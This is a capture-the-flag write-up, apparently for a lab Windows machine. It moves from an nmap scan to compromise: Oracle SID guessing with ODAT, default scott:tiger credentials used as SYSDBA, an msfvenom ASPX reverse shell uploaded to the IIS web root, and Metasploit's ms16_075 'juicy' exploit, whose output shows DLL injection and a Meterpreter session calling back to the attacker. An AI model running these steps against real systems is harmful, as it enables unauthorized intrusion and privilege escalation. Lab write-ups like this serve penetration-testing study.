# Nmap 7.70 scan initiated Sun Jul 21 16:43:41 2019 as: nmap -sV -sC -O -A -p 80,135,139,445,1521,5985,47001 -oN O-detailed 10.10.10.82Nmapscanreportfor10.10.10.82Hostisup (0.28s latency).PORTSTATESERVICEVERSION80/tcpopenhttpMicrosoftIIShttpd8.5|http-methods:|_Potentiallyriskymethods:TRACE|_http-server-header:Microsoft-IIS/8.5|_http-title:IISWindowsServer135/tcpopenmsrpcMicrosoftWindowsRPC139/tcpopennetbios-ssnMicrosoftWindowsnetbios-ssn445/tcpopenmicrosoft-dsMicrosoftWindowsServer2008R2-2012microsoft-ds1521/tcpopenoracle-tnsOracleTNSlistener11.2.0.2.0 (unauthorized)5985/tcpopenhttpMicrosoftHTTPAPIhttpd2.0 (SSDP/UPnP)|_http-server-header:Microsoft-HTTPAPI/2.0|_http-title:NotFound47001/tcpopenhttpMicrosoftHTTPAPIhttpd2.0 (SSDP/UPnP)|_http-server-header:Microsoft-HTTPAPI/2.0|_http-title:NotFoundWarning:OSScanresultsmaybeunreliablebecausewecouldnotfindatleast1openand1closedportAggressive OS guesses: Microsoft Windows Server 2012 (96%), Microsoft Windows Server 2012 R2 (94%), Microsoft Windows Server 2008 SP2 (93%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (93%), Microsoft Windows Server 2008 SP1 (93%), Microsoft Windows Vista SP1 (93%), Microsoft Windows 7 Professional SP1 (93%), Microsoft Windows 7 (92%), Microsoft Windows Server 2012 or Server 2012 R2 (92%), Microsoft Windows Server 2012 R2 Update 1 (92%)
NoexactOSmatchesforhost (test conditionsnon-ideal).NetworkDistance:2hopsServiceInfo:OSs:Windows,WindowsServer2008R2-2012; CPE:cpe:/o:microsoft:windowsHostscriptresults:|_clock-skew:mean:-6m45s,deviation:0s,median:-6m45s|smb-security-mode:|authentication_level:user|challenge_response:supported|_message_signing:supported|smb2-security-mode:|2.02:|_Messagesigningenabledbutnotrequired|smb2-time:|date:2019-07-2116:37:20|_start_date:2019-07-2116:20:43TRACEROUTE (using port443/tcp)HOPRTTADDRESS1231.02ms10.10.14.12265.03ms10.10.10.82OSandServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Sun Jul 21 16:44:11 2019 -- 1 IP address (1 host up) scanned in 30.90 seconds
So there are 3 web-servers, 3 SMB ports, and 1 Oracle Port. ran gobuster on all the web-servers but found nothing, dropped that vector. SMB ports, guest account was disabled and had no other credentials so dropped that too. Only port left was the Oracle Port. I found CVE-2012-1675, and it's exploit but I was not able to exploit it, either the server was not vulnerable or I had something mis-configured, so path beyond this was manual. However I found a Oracle Pentesting Kit on Github which was useful throughout the complete operation.
Find all the valid databases (SID) on this database.
./odat.pysidguesser-s10.10.10.82-p1521
Found XE and few other to be valid SID, however, I chose to focus on XE.
Check if any default credentials are working on this database on the server.
NOTE: I checked both, UPPERCASE and LOWERCASE variations as 11G stores case sensitive passwords by default. Found scott:tiger to be a set of valid credentials.
Next task was to check if this account is SYSDBA or SYSOPER on this database on the server. I used docker to run sqlplus and check this.
dockerrun-eURL="scott/tiget@//10.10.10.82:1521/XE as sysdba"-tisflyr/sqlplusdockerrun-eURL="scott/tiget@//10.10.10.82:1521/XE as sysoper"-tisflyr/sqlplus
It turns out that the user we had was a SYSDBA. One of the module of ODAT let's us put file on the server in a directory of our choosing, as we have web-servers running, we can be sure that there is a directory C:\Inetpub\wwwroot in the system, hence I chose to upload my ASPX MSFVENOM shell there and get a reverse shell.
msf5exploit(multi/handler) >searchlocal_exploit_suggesterMatchingModules================# Name Disclosure Date Rank Check Description----------------------------------------0post/multi/recon/local_exploit_suggesternormalNoMultiReconLocalExploitSuggestermsf5exploit(multi/handler) >usepost/multi/recon/local_exploit_suggestermsf5post(multi/recon/local_exploit_suggester) >setSESSION1SESSION =>1msf5post(multi/recon/local_exploit_suggester) >showoptionsModuleoptions (post/multi/recon/local_exploit_suggester):NameCurrentSettingRequiredDescription--------------------------------------SESSION1yesThesessiontorunthismoduleonSHOWDESCRIPTIONfalseyesDisplaysadetaileddescriptionfortheavailableexploitsmsf5post(multi/recon/local_exploit_suggester) >run[*] 10.10.10.82 - Collecting local exploits for x64/windows...[*] 10.10.10.82 - 11 exploit checks are being tried...[+] 10.10.10.82 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.[+] 10.10.10.82 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.[*] Post module execution completedmsf5post(multi/recon/local_exploit_suggester) >useexploit/windows/local/ms16_075_reflection_juicymsf5exploit(windows/local/ms16_075_reflection_juicy) >run[*] Started reverse TCP handler on 10.10.14.8:4444[*] Launching notepad to host the exploit...[+] Process 832 launched.[*] Reflectively injecting the exploit DLL into 832...[*] Injecting exploit into 832...[*] Exploit injected. Injecting exploit configuration into 832...[*] Configuration injected. Executing exploit...[+] Exploit finished, wait for (hopefullyprivileged) payload execution to complete.[*] Sending stage (179779bytes) to 10.10.10.82[*] Meterpreter session 3 opened (10.10.14.8:4444 ->10.10.10.82:49186) at 2019-07-21 23:08:45 +0530